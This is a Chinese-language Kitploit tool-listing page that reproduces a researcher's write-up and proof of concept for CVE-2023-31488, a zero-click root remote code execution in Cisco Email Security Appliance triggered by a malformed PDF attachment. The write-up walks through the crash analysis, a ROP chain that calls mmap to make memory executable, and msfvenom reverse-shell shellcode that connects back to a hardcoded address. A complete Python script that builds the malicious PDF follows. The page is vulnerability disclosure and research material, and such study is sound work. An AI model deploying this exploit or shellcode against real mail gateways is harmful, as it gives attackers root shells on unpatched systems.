Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cisco-CVE-2023-31488 — Cisco Email Security Appliance: 通过邮件实现零点击RCE(以root权限) - 远程代码执行/内存破坏/ROP链 | Kitploit
工具/GitHubGitHub/ly1g3/cisco-cve-2023-31488
漏洞利用框架内存取证漏洞分析漏洞利用逆向工程Shellcode模糊测试渗透测试Payload 开发电子邮件安全二进制利用
GitHub
152个月前尚未审核
ly1g3/cisco-cve-2023-31488

cisco-CVE-2023-31488

Cisco Email Security Appliance: 通过邮件实现零点击RCE(以root权限) - 远程代码执行/内存破坏/ROP链

查看仓库

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

关于

安全研究员:ly1g3,ly1g3[at]tuta.io

GPG 指纹:https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586

概述:通过电子邮件实现零点击 RCE 提权至 root - 远程代码执行/内存损坏/ROP 链

CVE:CVE-2023-31488

时间线:

  • 发现 - ly1g3
  • 报告 - ly1g3
  • 修复 - Cisco 和 Lexmark

漏洞分析

在对 Cisco 邮件安全设备(ESA)进行模糊测试时,我在 Lexmark Perceptive Filters 中发现了一个漏洞,该过滤器被 ESA 用于电子邮件附件的数据清洗,从而通过电子邮件导致 RCE。崩溃发生在解析修改过的 PDF 附件时。通过改变一个两位数的 PDF 对象 ID,例如:

示例:

root@kitploit:~
13 0 obj
<</Subtype/CIDFontType2/FontDescriptor

将 ID 的一部分从 13 改为其他内容(如空格)会导致:

root@kitploit:~
1  0 obj
<</Subtype/CIDFontType2/FontDescriptor 
1

将修改后的 PDF 通过电子邮件发送到 Cisco ESA 会导致 libISYSpdf6.so 发生段错误崩溃。崩溃原因是 r14 包含 ASCII 数据。

2 3

仔细检查发现,这些数据来自我们可控的 PDF 附件内容。r14 的值是 Rect。 4

测试将 Rect 改为 AAAA。

5

由于 r14 的值是从 PDF 中的数据加载的,我们可以修改它,使其指向一个有效的内存地址。经过此调整后,RAX 中的数据无效导致另一次崩溃。这些数据同样来自 PDF 的 ASCII。

6

我们修改 PDF,使 rax 也指向一个实际地址,然后继续。 7

出现了一个新的崩溃;现在 rsi 包含 PDF 中的 ASCII 数据。 8

我们再次修改 PDF,使其加载真实的内存地址。

9

最后,我们来到了代码中一个非常有趣的部分。在这里我们可以控制 rdi,它用于将值加载到 rax。该序列中的最后一条指令是 call rax。我们现在在实现代码执行能力方面取得了良好进展。

10

我们再次进入十六进制编辑器,修改加载到 rdi 中的值。 11

现在我们获得了一种有限的代码执行方式,可以跳转到单个地址。由于没有 ASLR,寻找内存地址很容易。我们还可以控制 rdi,因此使用初始 ROP 小工具 libISYSshared.so: push rdi; pop rsp; xor eax, 将 rdi 移动到 rsp,从而控制栈。我们将栈指向 PDF 内存区域中我们可控的区域,该区域已预置了一个包含更多 ROP 小工具的自定义栈。 12

由 msfvenom 生成的 FreeBSD 反向 shell shellcode 被放置在 PDF 内存区域中。但由于该内存不可执行,我们首先需要使其可执行。

root@kitploit:~
shellcode = b'\x90'*100

buf =  b""
buf += b"\x31\xc0\x83\xc0\x61\x6a\x02\x5f\x6a\x01\x5e\x48\x31"
buf += b"\xd2\x0f\x05\x49\x89\xc4\x48\x89\xc7\x31\xc0\x83\xc0"
buf += b"\x62\x48\x31\xf6\x56\x48\xbe\x00\x02\x1b\x58\xc0\xa8"
buf += b"\x64\x9f\x56\x48\x89\xe6\x6a\x10\x5a\x0f\x05\x4c\x89"
buf += b"\xe7\x6a\x03\x5e\x48\xff\xce\x6a\x5a\x58\x0f\x05\x75"
buf += b"\xf6\x31\xc0\x83\xc0\x3b\xe8\x08\x00\x00\x00\x2f\x62"
buf += b"\x69\x6e\x2f\x73\x68\x00\x48\x8b\x3c\x24\x48\x31\xd2"
buf += b"\x52\x57\x48\x89\xe6\x0f\x05"

由于此时我们控制了栈,可以通过以下 ROP 链调用 mmap,将 shellcode 内存区域设置为 RWX。

root@kitploit:~
rop += rebase_0(0x00000000000d0d30) # 0x00000000000d0d30: pop rdi; ret; 
rop += p(pdf_data_base_address)
rop += rebase_0(0x00000000000692b2) # 0x00000000000692b2: pop rsi; ret; 
rop += p(0x100000)
rop += rebase_0(0x00000000000d0cb3) # 0x00000000000d0cb3: pop rdx; ret; 
rop += p(0x0000000000000007)
rop += rebase_0(0x0000000000019020) # 0x0000000000019020: pop rax; ret; 
rop += p(0x4a)
rop += rebase_1(0x0000000001169f94) # 0x0000000001169f94: syscall; ret; 
rop += rebase_0(0x000000000003be21) # 0x000000000003be21: call rsp; 

在调用 mmap 之后,call rsp; 将执行我们 shellcode 的 NOP sled,因为 shellcode 的地址位于自定义栈的下一个位置。该 shellcode 是一个由 msfvenom 生成的反向 shell。

一个有趣的事情是,这段代码在任何静态防病毒扫描之前运行,因此标准的 Metasploit 反向 shell 可以正常工作。

我们可以使用下面的 POC 创建一个可用的 PDF。之后,我们只需将其通过电子邮件发送到 ESA 即可获得 RCE。有关权限提升,请参阅我的其他漏洞。

至此,我们获得了 ESA 上的远程 shell:

13

这是一个有趣的项目,让我学到了很多关于内存损坏漏洞的知识。它也展示了“现代”内存保护(如 ASLR)有多么优秀,但同样表明你仍然可以在野外找到没有 ASLR 的系统。

Cisco AsyncOS 14.2.0

ESA(Cisco Secure Email)溢出攻击。以 root 身份远程执行代码。

Lexmark Perceptive Filters 中的变量/缓冲区溢出

通过发送特制的 PDF 文件,溢出导致攻击者能够在 ESA 以及其他使用 Lexmark Perceptive Filters 的产品上获得任意远程代码执行。

技术细节

此溢出攻击允许攻击者控制 call rax 指令,由于 ESA 上未使用 ASLR,因此很容易转向任意代码执行。代码将以 root 权限执行。

问题源于 Lexmark 的 libISYSpdf6.so 库中的 PDF 解析,由对 IGR_Open_File_Ex 函数的调用引起。该函数可以追溯到 AMP(高级恶意软件防护)中的 safeprint 功能和 image_analysis,但该漏洞也可能通过其他路径触发。

复现步骤:

  1. 创建包含 Subtype/CIDFontType2/FontDescriptor 的 PDF。示例可在 https://github.com/ant4g0nist/fuzzing-pdfs-like-its-1990s/blob/main/pdfs/combo_box.pdf 找到
  2. 例如:
root@kitploit:~
13 0 obj
<</Subtype/CIDFontType2/FontDescriptor
  1. 将 ID 13 的一部分替换为其他值(如空格)1 ,得到:
root@kitploit:~
1  0 obj
<</Subtype/CIDFontType2/FontDescriptor 
  1. 在启用 safeprint 或 AMP image_analysis 的情况下,将 PDF 发送到 ESA

  2. 这会导致 libISYSpdf6.so 发生段错误

root@kitploit:~
// r14 现在受用户控制,并指向 PDF 中的数据
0x804d4ffc0                  mov    rax, QWORD PTR [r14+0x18]
  1. 这可以升级为 RCE,因为加载到 rax 中的数据最终会到达:
root@kitploit:~
// 调用受控的 rax,ROP 链开始
0x804d50298: call   rax
  1. 由于未使用 ASLR,可以轻松创建用于反向 shell 的 ROP 链

POC

root@kitploit:~

import sys
from pwn import *

message = """使用方法: python3 gen_esa_exploit.py template.pdf exp.pdf

模板文件使用: https://github.com/ant4g0nist/fuzzing-pdfs-like-its-1990s/blob/main/pdfs/combo_box.pdf

可能需要更改 pdf_data_base_address。

ly1g3, ly1g3[at]tuta.io
"""

def insert_at_address(content, at_address, address, bytes_to_write):
    addr = p64(address)
    for i in range(bytes_to_write):
        content.insert(at_address+i,addr[i])

def overwrite_at_address(content, at_address, address, bytes_to_write):
    addr = p64(address)
    for i in range(bytes_to_write):
        index = at_address+i
        content[index] = addr[i]

def overwrite_string_at_address(content, at_address, content_to_write):
    for i in range(len(content_to_write)):
        index = at_address+i
        content[index] = content_to_write[i]




if len(sys.argv) < 3:
    print(message)
    
    sys.exit()

file_in = sys.argv[1]
file_out = sys.argv[2]



content = None
with open(file_in, "rb") as fi:
    content = bytearray(fi.read())

pos1 = 0x1C41 # "13 0 obj" 的位置
content[pos1] = 0x20

pos2 = 0x278C # /Rect 对象,由 r14 指向
content[pos2] = 0x00

# 在 rem_start 处移除 /Font 以腾出空间存放完整地址
rem_start = 0x1CD2
rem_stop = 0x1CD5
chars_to_remove = rem_stop - rem_start
for i in range(chars_to_remove):
    del content[rem_start]

# 移除 GB1 以腾出空间存放地址
rem_start = 0x1CB5
rem_stop = 0x1CB8
chars_to_remove = rem_stop - rem_start
for i in range(chars_to_remove):
        del content[rem_start]

# 插入 r14 的地址
# 在 0x804e51fc0                  mov    rax, QWORD PTR [r14+0x18]
# 在此处插入指向 PDF 数据的地址
# 使用指向 PDF 偏移 0xe0 的指针有效
pdf_data_base_address = 0x804c27384

address_pos = rem_start
insert_at_address(content, address_pos, pdf_data_base_address, 7)


# PDF 开头某处的随机偏移,但不接近头部
offset_in_pdf = 0xE0

#0x804e51fc0                  mov    rax, QWORD PTR [r14+0x18]
overwrite_at_address(content, offset_in_pdf+0x18, pdf_data_base_address,8)

#0x804e51fc4                  add    r13d, DWORD PTR [rax+0xa8]
overwrite_at_address(content, offset_in_pdf+0xa8, pdf_data_base_address,8)

# 0x804e08536                  mov    rax, QWORD PTR [rsi+0x28]
overwrite_at_address(content, offset_in_pdf, pdf_data_base_address,8)

# 0x804e52286                  mov    rax, QWORD PTR [rdi]
overwrite_at_address(content, offset_in_pdf+0x50, pdf_data_base_address+0x50,8)


libISYSshared_base = 0x802400000
rop1 = libISYSshared_base+0x000000000060d115 # [INFO] 文件: libISYSshared.so: push rdi; pop rsp; xor eax, eax; pop rbp; ret; 


# 0x804e52289                  mov    rax, QWORD PTR [rax+0x18]
# 此地址将在以下位置执行
# 0x804e52298                  call   rax
overwrite_at_address(content, offset_in_pdf+0x50+0x18, rop1,8)

# 0x804e5228d                  mov    esi, DWORD PTR [r12+0x10]
# 在 call rax 时,esi 将包含此值
overwrite_at_address(content, offset_in_pdf+0x10, 0x4242424242424242,8)

# $rdi 在此之后将指向 pdf_data_base_address,可用于 ROP 链


## ROP 链

libISYSshared_base = 0x802400000
rop1 = libISYSshared_base+0x000000000060d115 # [INFO] 文件: libISYSshared.so: push rdi; pop rsp; xor eax, eax; pop rbp; ret; 
rop2 = libISYSshared_base+0x000000000103e465 # [INFO] 文件: libISYSshared.so: ret 0xf0; 
rop3 = libISYSshared_base+0x00000000008dc638 # [INFO] 文件: libISYSshared.so: ret; 

first_rop=0x138
overwrite_at_address(content, first_rop, rop2,8)

second_rop=0x140
overwrite_at_address(content, second_rop, rop3,8)

stack=0x230
overwrite_at_address(content, stack, rop3,8)

rop_chain_start=0x238

from struct import pack

p = lambda x : pack('Q', x)

shellcode = b'\x90'*100

buf =  b""
buf += b"\x31\xc0\x83\xc0\x61\x6a\x02\x5f\x6a\x01\x5e\x48\x31"
buf += b"\xd2\x0f\x05\x49\x89\xc4\x48\x89\xc7\x31\xc0\x83\xc0"
buf += b"\x62\x48\x31\xf6\x56\x48\xbe\x00\x02\x1b\x58\xc0\xa8"
buf += b"\x64\x9f\x56\x48\x89\xe6\x6a\x10\x5a\x0f\x05\x4c\x89"
buf += b"\xe7\x6a\x03\x5e\x48\xff\xce\x6a\x5a\x58\x0f\x05\x75"
buf += b"\xf6\x31\xc0\x83\xc0\x3b\xe8\x08\x00\x00\x00\x2f\x62"
buf += b"\x69\x6e\x2f\x73\x68\x00\x48\x8b\x3c\x24\x48\x31\xd2"
buf += b"\x52\x57\x48\x89\xe6\x0f\x05"



IMAGE_BASE_0 = 0x804d29000 # libISYSpdf6.so
rebase_0 = lambda x : p(x + IMAGE_BASE_0)

IMAGE_BASE_1 = 0x802400000 # libISYSshared.so
rebase_1 = lambda x : p(x + IMAGE_BASE_1)


rop = b''
rop += rebase_0(0x00000000000d0d30) # 0x00000000000d0d30: pop rdi; ret; 
rop += p(pdf_data_base_address)
rop += rebase_0(0x00000000000692b2) # 0x00000000000692b2: pop rsi; ret; 
rop += p(0x100000)
rop += rebase_0(0x00000000000d0cb3) # 0x00000000000d0cb3: pop rdx; ret; 
rop += p(0x0000000000000007)
rop += rebase_0(0x0000000000019020) # 0x0000000000019020: pop rax; ret; 
rop += p(0x4a)
rop += rebase_1(0x0000000001169f94) # 0x0000000001169f94: syscall; ret; 
rop += rebase_0(0x000000000003be21) # 0x000000000003be21: call rsp; 
rop += buf

print(rop)

overwrite_string_at_address(content, rop_chain_start, rop)

# 在此处放置 ROP 链

with open(file_out, "wb") as fo:
    fo.write(content)

下载工具